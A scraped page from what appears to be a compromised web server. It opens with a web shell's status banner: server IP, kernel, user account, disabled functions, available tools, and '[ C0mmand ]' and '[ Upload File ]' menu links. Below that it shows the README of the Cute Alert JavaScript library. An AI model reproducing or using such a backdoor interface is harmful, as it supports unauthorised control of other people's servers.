Server IP : 103.191.208.50 / Your IP : 216.73.216.53 Web Server : LiteSpeed System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64 User : celkcksm ( 1031) PHP Version : 7.4.33 Disable Function : show_source, system, shell_exec, passthru, popen, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/celkcksm/hrms.ncriptech.com/public/cute-alert/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
# Cute Alert  <p align="center"> <img src="https://media.giphy.com/media/fwnMNrkWLs1TrxK6ab/giphy.gif" /> </p> I designed this JS library as an open-source project with the purpose of providing beautiful alert box messages for your website. Feel free to contribute with a pull request or suggestions. ## Installation Instructions - Clone this repository into your project's lib folder. - Import both "style.css" and "cute-alert.js" into your code just like described on the image below:  ## Docs It's way too simple for you to import this lib into your code, all you have to do is call ```cuteAlert()``` and pass its arguments in object notation. ```buttonText``` is an optional parameter, by default it's set as "OK". ```type``` will define what kind of alert box will be shown.     ```cuteAlert()```returns a Promise, so you can use ```then``` to execute an action after the alert box frame is closed.  As for the question alert box, you can choose what you want to do after any of the buttons is pressed with ```then``` aswell. ```confirmText``` and ```cancelText``` are both optional, by the default they are set as "Confirm" and "Cancel" respectively.  ### Close button as a circle If you wish to have the close button styled as a circle, you need to pass ```closeStyle: "circle``` as an argument in ```cuteAlert()```. <p align="center"> <img src="https://i.imgur.com/Ak2JidL.png" /> </p>  ### Toasts (NEW FEATURE!!!) <p align="center"> <img src="https://media.giphy.com/media/fwnMNrkWLs1TrxK6ab/giphy.gif" /> </p> It's even easier to use toasts, all you have to do is call ```cuteToast()``` and pass ```type```, ```message``` and ```timer```(in miliseconds) as its arguments.     It also returns a Promise, so you can use ```then``` to execute an action after the toast is closed or reaches its end by a timer. ## Alert Box Design - **Igor Ferrão de Souza** https://www.linkedin.com/in/igor-ferr%C3%A3o-de-souza-4122407b/ ## Dev - **Gustavo Mancuzo** - [gustavosmanc](https://github.com/gustavosmanc) ## Contributors - **Leonardo Bertoncin** - [lbert1](https://github.com/lbert1)